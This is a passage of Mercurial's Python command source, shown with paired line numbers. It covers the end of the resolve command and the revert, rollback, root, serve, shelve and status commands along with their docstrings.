6178 6181 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6179 6182 with ui.configoverride(overrides, b'resolve'):
6180 6183 complete, r = ms.preresolve(f, wctx)
6181 6184 if not complete:
6182 6185 tocomplete.append(f)
6183 6186 elif r:
6184 6187 ret = 1
6185 6188 finally:
6186 6189 ms.commit()
6187 6190
6188 6191 # replace filemerge's .orig file with our resolve file, but only
6189 6192 # for merges that are complete
6190 6193 if complete:
6191 6194 try:
6192 6195 util.rename(
6193 6196 a + b".resolve", scmutil.backuppath(ui, repo, f)
6194 6197 )
6195 6198 except OSError as inst:
6196 6199 if inst.errno != errno.ENOENT:
6197 6200 raise
6198 6201
6199 6202 if hasconflictmarkers:
6200 6203 ui.warn(
6201 6204 _(
6202 6205 b'warning: the following files still have conflict '
6203 6206 b'markers:\n'
6204 6207 )
6205 6208 + b''.join(
6206 6209 b' ' + uipathfn(f) + b'\n' for f in hasconflictmarkers
6207 6210 )
6208 6211 )
6209 6212 if markcheck == b'abort' and not all and not pats:
6210 6213 raise error.StateError(
6211 6214 _(b'conflict markers detected'),
6212 6215 hint=_(b'use --all to mark anyway'),
6213 6216 )
6214 6217
6215 6218 for f in tocomplete:
6216 6219 try:
6217 6220 # resolve file
6218 6221 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6219 6222 with ui.configoverride(overrides, b'resolve'):
6220 6223 r = ms.resolve(f, wctx)
6221 6224 if r:
6222 6225 ret = 1
6223 6226 finally:
6224 6227 ms.commit()
6225 6228
6226 6229 # replace filemerge's .orig file with our resolve file
6227 6230 a = repo.wjoin(f)
6228 6231 try:
6229 6232 util.rename(a + b".resolve", scmutil.backuppath(ui, repo, f))
6230 6233 except OSError as inst:
6231 6234 if inst.errno != errno.ENOENT:
6232 6235 raise
6233 6236
6234 6237 ms.commit()
6235 6238 branchmerge = repo.dirstate.p2() != repo.nullid
6236 6239 # resolve is not doing a parent change here, however, `record updates`
6237 6240 # will call some dirstate API that at intended for parent changes call.
6238 6241 # Ideally we would not need this and could implement a lighter version
6239 6242 # of the recordupdateslogic that will not have to deal with the part
6240 6243 # related to parent changes. However this would requires that:
6241 6244 # - we are sure we passed around enough information at update/merge
6242 6245 # time to no longer needs it at `hg resolve time`
6243 6246 # - we are sure we store that information well enough to be able to reuse it
6244 6247 # - we are the necessary logic to reuse it right.
6245 6248 #
6246 6249 # All this should eventually happens, but in the mean time, we use this
6247 6250 # context manager slightly out of the context it should be.
6248 6251 with repo.dirstate.parentchange():
6249 6252 mergestatemod.recordupdates(repo, ms.actions(), branchmerge, None)
6250 6253
6251 6254 if not didwork and pats:
6252 6255 hint = None
6253 6256 if not any([p for p in pats if p.find(b':') >= 0]):
6254 6257 pats = [b'path:%s' % p for p in pats]
6255 6258 m = scmutil.match(wctx, pats, opts)
6256 6259 for f in ms:
6257 6260 if not m(f):
6258 6261 continue
6259 6262
6260 6263 def flag(o):
6261 6264 if o == b're_merge':
6262 6265 return b'--re-merge '
6263 6266 return b'-%s ' % o[0:1]
6264 6267
6265 6268 flags = b''.join([flag(o) for o in flaglist if opts.get(o)])
6266 6269 hint = _(b"(try: hg resolve %s%s)\n") % (
6267 6270 flags,
6268 6271 b' '.join(pats),
6269 6272 )
6270 6273 break
6271 6274 ui.warn(_(b"arguments do not match paths that need resolving\n"))
6272 6275 if hint:
6273 6276 ui.warn(hint)
6274 6277
6275 6278 unresolvedf = ms.unresolvedcount()
6276 6279 if not unresolvedf:
6277 6280 ui.status(_(b'(no more unresolved files)\n'))
6278 6281 cmdutil.checkafterresolved(repo)
6279 6282
6280 6283 return ret
6281 6284
6282 6285
6283 6286 @command(
6284 6287 b'revert',
6285 6288 [
6286 6289 (b'a', b'all', None, _(b'revert all changes when no arguments given')),
6287 6290 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
6288 6291 (b'r', b'rev', b'', _(b'revert to the specified revision'), _(b'REV')),
6289 6292 (b'C', b'no-backup', None, _(b'do not save backup copies of files')),
6290 6293 (b'i', b'interactive', None, _(b'interactively select the changes')),
6291 6294 ]
6292 6295 + walkopts
6293 6296 + dryrunopts,
6294 6297 _(b'[OPTION]... [-r REV] [NAME]...'),
6295 6298 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6296 6299 )
6297 6300 def revert(ui, repo, *pats, **opts):
6298 6301 """restore files to their checkout state
6299 6302
6300 6303 .. note::
6301 6304
6302 6305 To check out earlier revisions, you should use :hg:`update REV`.
6303 6306 To cancel an uncommitted merge (and lose your changes),
6304 6307 use :hg:`merge --abort`.
6305 6308
6306 6309 With no revision specified, revert the specified files or directories
6307 6310 to the contents they had in the parent of the working directory.
6308 6311 This restores the contents of files to an unmodified
6309 6312 state and unschedules adds, removes, copies, and renames. If the
6310 6313 working directory has two parents, you must explicitly specify a
6311 6314 revision.
6312 6315
6313 6316 Using the -r/--rev or -d/--date options, revert the given files or
6314 6317 directories to their states as of a specific revision. Because
6315 6318 revert does not change the working directory parents, this will
6316 6319 cause these files to appear modified. This can be helpful to "back
6317 6320 out" some or all of an earlier change. See :hg:`backout` for a
6318 6321 related method.
6319 6322
6320 6323 Modified files are saved with a .orig suffix before reverting.
6321 6324 To disable these backups, use --no-backup. It is possible to store
6322 6325 the backup files in a custom directory relative to the root of the
6323 6326 repository by setting the ``ui.origbackuppath`` configuration
6324 6327 option.
6325 6328
6326 6329 See :hg:`help dates` for a list of formats valid for -d/--date.
6327 6330
6328 6331 See :hg:`help backout` for a way to reverse the effect of an
6329 6332 earlier changeset.
6330 6333
6331 6334 Returns 0 on success.
6332 6335 """
6333 6336
6334 6337 opts = pycompat.byteskwargs(opts)
6335 6338 if opts.get(b"date"):
6336 6339 cmdutil.check_incompatible_arguments(opts, b'date', [b'rev'])
6337 6340 opts[b"rev"] = cmdutil.finddate(ui, repo, opts[b"date"])
6338 6341
6339 6342 parent, p2 = repo.dirstate.parents()
6340 6343 if not opts.get(b'rev') and p2 != repo.nullid:
6341 6344 # revert after merge is a trap for new users (issue2915)
6342 6345 raise error.InputError(
6343 6346 _(b'uncommitted merge with no revision specified'),
6344 6347 hint=_(b"use 'hg update' or see 'hg help revert'"),
6345 6348 )
6346 6349
6347 6350 rev = opts.get(b'rev')
6348 6351 if rev:
6349 6352 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
6350 6353 ctx = logcmdutil.revsingle(repo, rev)
6351 6354
6352 6355 if not (
6353 6356 pats
6354 6357 or opts.get(b'include')
6355 6358 or opts.get(b'exclude')
6356 6359 or opts.get(b'all')
6357 6360 or opts.get(b'interactive')
6358 6361 ):
6359 6362 msg = _(b"no files or directories specified")
6360 6363 if p2 != repo.nullid:
6361 6364 hint = _(
6362 6365 b"uncommitted merge, use --all to discard all changes,"
6363 6366 b" or 'hg update -C .' to abort the merge"
6364 6367 )
6365 6368 raise error.InputError(msg, hint=hint)
6366 6369 dirty = any(repo.status())
6367 6370 node = ctx.node()
6368 6371 if node != parent:
6369 6372 if dirty:
6370 6373 hint = (
6371 6374 _(
6372 6375 b"uncommitted changes, use --all to discard all"
6373 6376 b" changes, or 'hg update %d' to update"
6374 6377 )
6375 6378 % ctx.rev()
6376 6379 )
6377 6380 else:
6378 6381 hint = (
6379 6382 _(
6380 6383 b"use --all to revert all files,"
6381 6384 b" or 'hg update %d' to update"
6382 6385 )
6383 6386 % ctx.rev()
6384 6387 )
6385 6388 elif dirty:
6386 6389 hint = _(b"uncommitted changes, use --all to discard all changes")
6387 6390 else:
6388 6391 hint = _(b"use --all to revert all files")
6389 6392 raise error.InputError(msg, hint=hint)
6390 6393
6391 6394 return cmdutil.revert(ui, repo, ctx, *pats, **pycompat.strkwargs(opts))
6392 6395
6393 6396
6394 6397 @command(
6395 6398 b'rollback',
6396 6399 dryrunopts + [(b'f', b'force', False, _(b'ignore safety measures'))],
6397 6400 helpcategory=command.CATEGORY_MAINTENANCE,
6398 6401 )
6399 6402 def rollback(ui, repo, **opts):
6400 6403 """roll back the last transaction (DANGEROUS) (DEPRECATED)
6401 6404
6402 6405 Please use :hg:`commit --amend` instead of rollback to correct
6403 6406 mistakes in the last commit.
6404 6407
6405 6408 This command should be used with care. There is only one level of
6406 6409 rollback, and there is no way to undo a rollback. It will also
6407 6410 restore the dirstate at the time of the last transaction, losing
6408 6411 any dirstate changes since that time. This command does not alter
6409 6412 the working directory.
6410 6413
6411 6414 Transactions are used to encapsulate the effects of all commands
6412 6415 that create new changesets or propagate existing changesets into a
6413 6416 repository.
6414 6417
6415 6418 .. container:: verbose
6416 6419
6417 6420 For example, the following commands are transactional, and their
6418 6421 effects can be rolled back:
6419 6422
6420 6423 - commit
6421 6424 - import
6422 6425 - pull
6423 6426 - push (with this repository as the destination)
6424 6427 - unbundle
6425 6428
6426 6429 To avoid permanent data loss, rollback will refuse to rollback a
6427 6430 commit transaction if it isn't checked out. Use --force to
6428 6431 override this protection.
6429 6432
6430 6433 The rollback command can be entirely disabled by setting the
6431 6434 ``ui.rollback`` configuration setting to false. If you're here
6432 6435 because you want to use rollback and it's disabled, you can
6433 6436 re-enable the command by setting ``ui.rollback`` to true.
6434 6437
6435 6438 This command is not intended for use on public repositories. Once
6436 6439 changes are visible for pull by other users, rolling a transaction
6437 6440 back locally is ineffective (someone else may already have pulled
6438 6441 the changes). Furthermore, a race is possible with readers of the
6439 6442 repository; for example an in-progress pull from the repository
6440 6443 may fail if a rollback is performed.
6441 6444
6442 6445 Returns 0 on success, 1 if no rollback data is available.
6443 6446 """
6444 6447 if not ui.configbool(b'ui', b'rollback'):
6445 6448 raise error.Abort(
6446 6449 _(b'rollback is disabled because it is unsafe'),
6447 6450 hint=b'see `hg help -v rollback` for information',
6448 6451 )
6449 6452 return repo.rollback(dryrun=opts.get('dry_run'), force=opts.get('force'))
6450 6453
6451 6454
6452 6455 @command(
6453 6456 b'root',
6454 6457 [] + formatteropts,
6455 6458 intents={INTENT_READONLY},
6456 6459 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6457 6460 )
6458 6461 def root(ui, repo, **opts):
6459 6462 """print the root (top) of the current working directory
6460 6463
6461 6464 Print the root directory of the current repository.
6462 6465
6463 6466 .. container:: verbose
6464 6467
6465 6468 Template:
6466 6469
6467 6470 The following keywords are supported in addition to the common template
6468 6471 keywords and functions. See also :hg:`help templates`.
6469 6472
6470 6473 :hgpath: String. Path to the .hg directory.
6471 6474 :storepath: String. Path to the directory holding versioned data.
6472 6475
6473 6476 Returns 0 on success.
6474 6477 """
6475 6478 opts = pycompat.byteskwargs(opts)
6476 6479 with ui.formatter(b'root', opts) as fm:
6477 6480 fm.startitem()
6478 6481 fm.write(b'reporoot', b'%s\n', repo.root)
6479 6482 fm.data(hgpath=repo.path, storepath=repo.spath)
6480 6483
6481 6484
6482 6485 @command(
6483 6486 b'serve',
6484 6487 [
6485 6488 (
6486 6489 b'A',
6487 6490 b'accesslog',
6488 6491 b'',
6489 6492 _(b'name of access log file to write to'),
6490 6493 _(b'FILE'),
6491 6494 ),
6492 6495 (b'd', b'daemon', None, _(b'run server in background')),
6493 6496 (b'', b'daemon-postexec', [], _(b'used internally by daemon mode')),
6494 6497 (
6495 6498 b'E',
6496 6499 b'errorlog',
6497 6500 b'',
6498 6501 _(b'name of error log file to write to'),
6499 6502 _(b'FILE'),
6500 6503 ),
6501 6504 # use string type, then we can check if something was passed
6502 6505 (
6503 6506 b'p',
6504 6507 b'port',
6505 6508 b'',
6506 6509 _(b'port to listen on (default: 8000)'),
6507 6510 _(b'PORT'),
6508 6511 ),
6509 6512 (
6510 6513 b'a',
6511 6514 b'address',
6512 6515 b'',
6513 6516 _(b'address to listen on (default: all interfaces)'),
6514 6517 _(b'ADDR'),
6515 6518 ),
6516 6519 (
6517 6520 b'',
6518 6521 b'prefix',
6519 6522 b'',
6520 6523 _(b'prefix path to serve from (default: server root)'),
6521 6524 _(b'PREFIX'),
6522 6525 ),
6523 6526 (
6524 6527 b'n',
6525 6528 b'name',
6526 6529 b'',
6527 6530 _(b'name to show in web pages (default: working directory)'),
6528 6531 _(b'NAME'),
6529 6532 ),
6530 6533 (
6531 6534 b'',
6532 6535 b'web-conf',
6533 6536 b'',
6534 6537 _(b"name of the hgweb config file (see 'hg help hgweb')"),
6535 6538 _(b'FILE'),
6536 6539 ),
6537 6540 (
6538 6541 b'',
6539 6542 b'webdir-conf',
6540 6543 b'',
6541 6544 _(b'name of the hgweb config file (DEPRECATED)'),
6542 6545 _(b'FILE'),
6543 6546 ),
6544 6547 (
6545 6548 b'',
6546 6549 b'pid-file',
6547 6550 b'',
6548 6551 _(b'name of file to write process ID to'),
6549 6552 _(b'FILE'),
6550 6553 ),
6551 6554 (b'', b'stdio', None, _(b'for remote clients (ADVANCED)')),
6552 6555 (
6553 6556 b'',
6554 6557 b'cmdserver',
6555 6558 b'',
6556 6559 _(b'for remote clients (ADVANCED)'),
6557 6560 _(b'MODE'),
6558 6561 ),
6559 6562 (b't', b'templates', b'', _(b'web templates to use'), _(b'TEMPLATE')),
6560 6563 (b'', b'style', b'', _(b'template style to use'), _(b'STYLE')),
6561 6564 (b'6', b'ipv6', None, _(b'use IPv6 in addition to IPv4')),
6562 6565 (b'', b'certificate', b'', _(b'SSL certificate file'), _(b'FILE')),
6563 6566 (b'', b'print-url', None, _(b'start and print only the URL')),
6564 6567 ]
6565 6568 + subrepoopts,
6566 6569 _(b'[OPTION]...'),
6567 6570 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
6568 6571 helpbasic=True,
6569 6572 optionalrepo=True,
6570 6573 )
6571 6574 def serve(ui, repo, **opts):
6572 6575 """start stand-alone webserver
6573 6576
6574 6577 Start a local HTTP repository browser and pull server. You can use
6575 6578 this for ad-hoc sharing and browsing of repositories. It is
6576 6579 recommended to use a real web server to serve a repository for
6577 6580 longer periods of time.
6578 6581
6579 6582 Please note that the server does not implement access control.
6580 6583 This means that, by default, anybody can read from the server and
6581 6584 nobody can write to it by default. Set the ``web.allow-push``
6582 6585 option to ``*`` to allow everybody to push to the server. You
6583 6586 should use a real web server if you need to authenticate users.
6584 6587
6585 6588 By default, the server logs accesses to stdout and errors to
6586 6589 stderr. Use the -A/--accesslog and -E/--errorlog options to log to
6587 6590 files.
6588 6591
6589 6592 To have the server choose a free port number to listen on, specify
6590 6593 a port number of 0; in this case, the server will print the port
6591 6594 number it uses.
6592 6595
6593 6596 Returns 0 on success.
6594 6597 """
6595 6598
6596 6599 cmdutil.check_incompatible_arguments(opts, 'stdio', ['cmdserver'])
6597 6600 opts = pycompat.byteskwargs(opts)
6598 6601 if opts[b"print_url"] and ui.verbose:
6599 6602 raise error.InputError(_(b"cannot use --print-url with --verbose"))
6600 6603
6601 6604 if opts[b"stdio"]:
6602 6605 if repo is None:
6603 6606 raise error.RepoError(
6604 6607 _(b"there is no Mercurial repository here (.hg not found)")
6605 6608 )
6606 6609 s = wireprotoserver.sshserver(ui, repo)
6607 6610 s.serve_forever()
6608 6611 return
6609 6612
6610 6613 service = server.createservice(ui, repo, opts)
6611 6614 return server.runservice(opts, initfn=service.init, runfn=service.run)
6612 6615
6613 6616
6614 6617 @command(
6615 6618 b'shelve',
6616 6619 [
6617 6620 (
6618 6621 b'A',
6619 6622 b'addremove',
6620 6623 None,
6621 6624 _(b'mark new/missing files as added/removed before shelving'),
6622 6625 ),
6623 6626 (b'u', b'unknown', None, _(b'store unknown files in the shelve')),
6624 6627 (b'', b'cleanup', None, _(b'delete all shelved changes')),
6625 6628 (
6626 6629 b'',
6627 6630 b'date',
6628 6631 b'',
6629 6632 _(b'shelve with the specified commit date'),
6630 6633 _(b'DATE'),
6631 6634 ),
6632 6635 (b'd', b'delete', None, _(b'delete the named shelved change(s)')),
6633 6636 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
6634 6637 (
6635 6638 b'k',
6636 6639 b'keep',
6637 6640 False,
6638 6641 _(b'shelve, but keep changes in the working directory'),
6639 6642 ),
6640 6643 (b'l', b'list', None, _(b'list current shelves')),
6641 6644 (b'm', b'message', b'', _(b'use text as shelve message'), _(b'TEXT')),
6642 6645 (
6643 6646 b'n',
6644 6647 b'name',
6645 6648 b'',
6646 6649 _(b'use the given name for the shelved commit'),
6647 6650 _(b'NAME'),
6648 6651 ),
6649 6652 (
6650 6653 b'p',
6651 6654 b'patch',
6652 6655 None,
6653 6656 _(
6654 6657 b'output patches for changes (provide the names of the shelved '
6655 6658 b'changes as positional arguments)'
6656 6659 ),
6657 6660 ),
6658 6661 (b'i', b'interactive', None, _(b'interactive mode')),
6659 6662 (
6660 6663 b'',
6661 6664 b'stat',
6662 6665 None,
6663 6666 _(
6664 6667 b'output diffstat-style summary of changes (provide the names of '
6665 6668 b'the shelved changes as positional arguments)'
6666 6669 ),
6667 6670 ),
6668 6671 ]
6669 6672 + cmdutil.walkopts,
6670 6673 _(b'hg shelve [OPTION]... [FILE]...'),
6671 6674 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6672 6675 )
6673 6676 def shelve(ui, repo, *pats, **opts):
6674 6677 """save and set aside changes from the working directory
6675 6678
6676 6679 Shelving takes files that "hg status" reports as not clean, saves
6677 6680 the modifications to a bundle (a shelved change), and reverts the
6678 6681 files so that their state in the working directory becomes clean.
6679 6682
6680 6683 To restore these changes to the working directory, using "hg
6681 6684 unshelve"; this will work even if you switch to a different
6682 6685 commit.
6683 6686
6684 6687 When no files are specified, "hg shelve" saves all not-clean
6685 6688 files. If specific files or directories are named, only changes to
6686 6689 those files are shelved.
6687 6690
6688 6691 In bare shelve (when no files are specified, without interactive,
6689 6692 include and exclude option), shelving remembers information if the
6690 6693 working directory was on newly created branch, in other words working
6691 6694 directory was on different branch than its first parent. In this
6692 6695 situation unshelving restores branch information to the working directory.
6693 6696
6694 6697 Each shelved change has a name that makes it easier to find later.
6695 6698 The name of a shelved change defaults to being based on the active
6696 6699 bookmark, or if there is no active bookmark, the current named
6697 6700 branch. To specify a different name, use ``--name``.
6698 6701
6699 6702 To see a list of existing shelved changes, use the ``--list``
6700 6703 option. For each shelved change, this will print its name, age,
6701 6704 and description; use ``--patch`` or ``--stat`` for more details.
6702 6705
6703 6706 To delete specific shelved changes, use ``--delete``. To delete
6704 6707 all shelved changes, use ``--cleanup``.
6705 6708 """
6706 6709 opts = pycompat.byteskwargs(opts)
6707 6710 allowables = [
6708 6711 (b'addremove', {b'create'}), # 'create' is pseudo action
6709 6712 (b'unknown', {b'create'}),
6710 6713 (b'cleanup', {b'cleanup'}),
6711 6714 # ('date', {'create'}), # ignored for passing '--date "0 0"' in tests
6712 6715 (b'delete', {b'delete'}),
6713 6716 (b'edit', {b'create'}),
6714 6717 (b'keep', {b'create'}),
6715 6718 (b'list', {b'list'}),
6716 6719 (b'message', {b'create'}),
6717 6720 (b'name', {b'create'}),
6718 6721 (b'patch', {b'patch', b'list'}),
6719 6722 (b'stat', {b'stat', b'list'}),
6720 6723 ]
6721 6724
6722 6725 def checkopt(opt):
6723 6726 if opts.get(opt):
6724 6727 for i, allowable in allowables:
6725 6728 if opts[i] and opt not in allowable:
6726 6729 raise error.InputError(
6727 6730 _(
6728 6731 b"options '--%s' and '--%s' may not be "
6729 6732 b"used together"
6730 6733 )
6731 6734 % (opt, i)
6732 6735 )
6733 6736 return True
6734 6737
6735 6738 if checkopt(b'cleanup'):
6736 6739 if pats:
6737 6740 raise error.InputError(
6738 6741 _(b"cannot specify names when using '--cleanup'")
6739 6742 )
6740 6743 return shelvemod.cleanupcmd(ui, repo)
6741 6744 elif checkopt(b'delete'):
6742 6745 return shelvemod.deletecmd(ui, repo, pats)
6743 6746 elif checkopt(b'list'):
6744 6747 return shelvemod.listcmd(ui, repo, pats, opts)
6745 6748 elif checkopt(b'patch') or checkopt(b'stat'):
6746 6749 return shelvemod.patchcmds(ui, repo, pats, opts)
6747 6750 else:
6748 6751 return shelvemod.createcmd(ui, repo, pats, opts)
6749 6752
6750 6753
6751 6754 _NOTTERSE = b'nothing'
6752 6755
6753 6756
6754 6757 @command(
6755 6758 b'status|st',
6756 6759 [
6757 6760 (b'A', b'all', None, _(b'show status of all files')),
6758 6761 (b'm', b'modified', None, _(b'show only modified files')),
6759 6762 (b'a', b'added', None, _(b'show only added files')),
6760 6763 (b'r', b'removed', None, _(b'show only removed files')),
6761 6764 (b'd', b'deleted', None, _(b'show only missing files')),
6762 6765 (b'c', b'clean', None, _(b'show only files without changes')),
6763 6766 (b'u', b'unknown', None, _(b'show only unknown (not tracked) files')),
6764 6767 (b'i', b'ignored', None, _(b'show only ignored files')),
6765 6768 (b'n', b'no-status', None, _(b'hide status prefix')),
6766 6769 (b't', b'terse', _NOTTERSE, _(b'show the terse output (EXPERIMENTAL)')),
6767 6770 (
6768 6771 b'C',
6769 6772 b'copies',
6770 6773 None,
6771 6774 _(b'show source of copied files (DEFAULT: ui.statuscopies)'),
6772 6775 ),
6773 6776 (
6774 6777 b'0',
6775 6778 b'print0',
6776 6779 None,
6777 6780 _(b'end filenames with NUL, for use with xargs'),
6778 6781 ),
6779 6782 (b'', b'rev', [], _(b'show difference from revision'), _(b'REV')),
6780 6783 (
6781 6784 b'',
6782 6785 b'change',
6783 6786 b'',
6784 6787 _(b'list the changed files of a revision'),
6785 6788 _(b'REV'),
6786 6789 ),
6787 6790 ]
6788 6791 + walkopts
6789 6792 + subrepoopts
6790 6793 + formatteropts,
6791 6794 _(b'[OPTION]... [FILE]...'),
6792 6795 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6793 6796 helpbasic=True,
6794 6797 inferrepo=True,
6795 6798 intents={INTENT_READONLY},
6796 6799 )
6797 6800 def status(ui, repo, *pats, **opts):
6798 6801 """show changed files in the working directory
6799 6802
6800 6803 Show status of files in the repository. If names are given, only
6801 6804 files that match are shown. Files that are clean or ignored or
6802 6805 the source of a copy/move operation, are not listed unless
6803 6806 -c/--clean, -i/--ignored, -C/--copies or -A/--all are given.
6804 6807 Unless options described with "show only ..." are given, the
6805 6808 options -mardu are used.
6806 6809
6807 6810 Option -q/--quiet hides untracked (unknown and ignored) files
6808 6811 unless explicitly requested with -u/--unknown or -i/--ignored.
6809 6812
6810 6813 .. note::
6811 6814
6812 6815 :hg:`status` may appear to disagree with diff if permissions have
6813 6816 changed or a merge has occurred. The standard diff format does
6814 6817 not report permission changes and diff only reports changes
6815 6818 relative to one merge parent.
6816 6819
6817 6820 If one revision is given, it is used as the base revision.
6818 6821 If two revisions are given, the differences between them are
6819 6822 shown. The --change option can also be used as a shortcut to list
6820 6823 the changed files of a revision from its first parent.
6821 6824
6822 6825 The codes used to show the status of files are::
6823 6826
6824 6827 M = modified
6825 6828 A = added
6826 6829 R = removed
6827 6830 C = clean
6828 6831 ! = missing (deleted by non-hg command, but still tracked)
6829 6832 ? = not tracked
6830 6833 I = ignored
6831 6834 = origin of the previous file (with --copies)
6832 6835
6833 6836 .. container:: verbose
6834 6837
6835 6838 The -t/--terse option abbreviates the output by showing only the directory
6836 6839 name if all the files in it share the same status. The option takes an
6837 6840 argument indicating the statuses to abbreviate: 'm' for 'modified', 'a'
6838 6841 for 'added', 'r' for 'removed', 'd' for 'deleted', 'u' for 'unknown', 'i'
6839 6842 for 'ignored' and 'c' for clean.
6840 6843
6841 6844 It abbreviates only those statuses which are passed. Note that clean and
6842 6845 ignored files are not displayed with '--terse ic' unless the -c/--clean
6843 6846 and -i/--ignored options are also used.
6844 6847
6845 6848 The -v/--verbose option shows information when the repository is in an
6846 6849 unfinished merge, shelve, rebase state etc. You can have this behavior
6847 6850 turned on by default by enabling the ``commands.status.verbose`` option.
6848 6851
6849 6852 You can skip displaying some of these states by setting
6850 6853 ``commands.status.skipstates`` to one or more of: 'bisect', 'graft',
6851 6854 'histedit', 'merge', 'rebase', or 'unshelve'.
6852 6855
6853 6856 Template:
6854 6857
6855 6858 The following keywords are supported in addition to the common template
6856 6859 keywords and functions. See also :hg:`help templates`.
6857 6860
6858 6861 :path: String. Repository-absolute path of the file.
6859 6862 :source: String. Repository-absolute path of the file originated from.
6860 6863 Available if ``--copies`` is specified.
6861 6864 :status: String. Character denoting file's status.
6862 6865
6863 6866 Examples:
6864 6867
6865 6868 - show changes in the working directory relative to a
6866 6869 changeset::
6867 6870
6868 6871 hg status --rev 9353
6869 6872
6870 6873 - show changes in the working directory relative to the
6871 6874 current directory (see :hg:`help patterns` for more information)::
6872 6875
6873 6876 hg status re:
6874 6877
6875 6878 - show all changes including copies in an existing changeset::
6876 6879
6877 6880 hg status --copies --change 9353
6878 6881
6879 6882 - get a NUL separated list of added files, suitable for xargs::
6880 6883
6881 6884 hg status -an0
6882 6885
6883 6886 - show more information about the repository status, abbreviating
6884 6887 added, removed, modified, deleted, and untracked paths::
6885 6888
6886 6889 hg status -v -t mardu
6887 6890
6888 6891 Returns 0 on success.
6889 6892
6890 6893 """
6891 6894
6892 6895 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
6893 6896 opts = pycompat.byteskwargs(opts)
6894 6897 revs = opts.get(b'rev')
6895 6898 change = opts.get(b'change')
6896 6899 terse = opts.get(b'terse')
6897 6900 if terse is _NOTTERSE:
6898 6901 if revs:
6899 6902 terse = b''
6900 6903 else:
6901 6904 terse = ui.config(b'commands', b'status.terse')
6902 6905
6903 6906 if revs and terse:
6904 6907 msg = _(b'cannot use --terse with --rev')
6905 6908 raise error.InputError(msg)
6906 6909 elif change:
6907 6910 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
6908 6911 ctx2 = logcmdutil.revsingle(repo, change, None)
6909 6912 ctx1 = ctx2.p1()
6910 6913 else:
6911 6914 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
6912 6915 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
6913 6916
6914 6917 forcerelativevalue = None
6915 6918 if ui.hasconfig(b'commands', b'status.relative'):
6916 6919 forcerelativevalue = ui.configbool(b'commands', b'status.relative')
6917 6920 uipathfn = scmutil.getuipathfn(
6918 6921 repo,
6919 6922 legacyrelativevalue=bool(pats),
6920 6923 forcerelativevalue=forcerelativevalue,
6921 6924 )
6922 6925
6923 6926 if opts.get(b'print0'):
6924 6927 end = b'\0'
6925 6928 else:
6926 6929 end = b'\n'
6927 6930 states = b'modified added removed deleted unknown ignored clean'.split()
6928 6931 show = [k for k in states if opts.get(k)]
6929 6932 if opts.get(b'all'):
6930 6933 show += ui.quiet and (states[:4] + [b'clean']) or states
6931 6934
6932 6935 if not show:
6933 6936 if ui.quiet:
6934 6937 show = states[:4]
6935 6938 else:
6936 6939 show = states[:5]
6937 6940
6938 6941 m = scmutil.match(ctx2, pats, opts)
6939 6942 if terse:
6940 6943 # we need to compute clean and unknown to terse
6941 6944 stat = repo.status(
6942 6945 ctx1.node(),
6943 6946 ctx2.node(),
6944 6947 m,
6945 6948 b'ignored' in show or b'i' in terse,
6946 6949 clean=True,
6947 6950 unknown=True,
6948 6951 listsubrepos=opts.get(b'subrepos'),
6949 6952 )
6950 6953
6951 6954 stat = cmdutil.tersedir(stat, terse)
6952 6955 else:
6953 6956 stat = repo.status(
6954 6957 ctx1.node(),
6955 6958 ctx2.node(),
6956 6959 m,
6957 6960 b'ignored' in show,
6958 6961 b'clean' in show,
6959 6962 b'unknown' in show,
6960 6963 opts.get(b'subrepos'),
6961 6964 )
6962 6965
6963 6966 changestates = zip(
6964 6967 states,
6965 6968 pycompat.iterbytestr(b'MAR!?IC'),
6966 6969 [getattr(stat, s.decode('utf8')) for s in states],
6967 6970 )
6968 6971
6969 6972 copy = {}
6970 6973 if (
6971 6974 opts.get(b'all')
6972 6975 or opts.get(b'copies')
6973 6976 or ui.configbool(b'ui', b'statuscopies')
6974 6977 ) and not opts.get(b'no_status'):
6975 6978 copy = copies.pathcopies(ctx1, ctx2, m)
6976 6979
6977 6980 morestatus = None
6978 6981 if (
6979 6982 (ui.verbose or ui.configbool(b'commands', b'status.verbose'))
6980 6983 and not ui.plain()
6981 6984 and not opts.get(b'print0')
6982 6985 ):
6983 6986 morestatus = cmdutil.readmorestatus(repo)
6984 6987
6985 6988 ui.pager(b'status')
6986 6989 fm = ui.formatter(b'status', opts)
6987 6990 fmt = b'%s' + end
6988 6991 showchar = not opts.get(b'no_status')
6989 6992
6990 6993 for state, char, files in changestates:
6991 6994 if state in show:
6992 6995 label = b'status.' + state
6993 6996 for f in files:
6994 6997 fm.startitem()
6995 6998 fm.context(ctx=ctx2)
6996 6999 fm.data(itemtype=b'file', path=f)
6997 7000 fm.condwrite(showchar, b'status', b'%s ', char, label=label)
6998 7001 fm.plain(fmt % uipathfn(f), label=label)
6999 7002 if f in copy:
7000 7003 fm.data(source=copy[f])
7001 7004 fm.plain(
7002 7005 (b' %s' + end) % uipathfn(copy[f]),
7003 7006 label=b'status.copied',
7004 7007 )
7005 7008 if morestatus:
7006 7009 morestatus.formatfile(f, fm)
7007 7010
7008 7011 if morestatus:
7009 7012 morestatus.formatfooter(fm)
7010 7013 fm.end()
7011 7014
7012 7015
7013 7016 @command(
7014 7017 b'summary|sum',
7015 7018 [(b'', b'remote', None, _(b'check for push and pull'))],
7016 7019 b'[--remote]',
7017 7020 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7018 7021 helpbasic=True,
7019 7022 intents={INTENT_READONLY},
7020 7023 )
7021 7024 def summary(ui, repo, **opts):
7022 7025 """summarize working directory state
7023 7026
7024 7027 This generates a brief summary of the working directory state,
7025 7028 including parents, branch, commit status, phase and available updates.
7026 7029
7027 7030 With the --remote option, this will check the default paths for
7028 7031 incoming and outgoing changes. This can be time-consuming.
7029 7032
7030 7033 Returns 0 on success.
7031 7034 """
7032 7035
7033 7036 opts = pycompat.byteskwargs(opts)
7034 7037 ui.pager(b'summary')
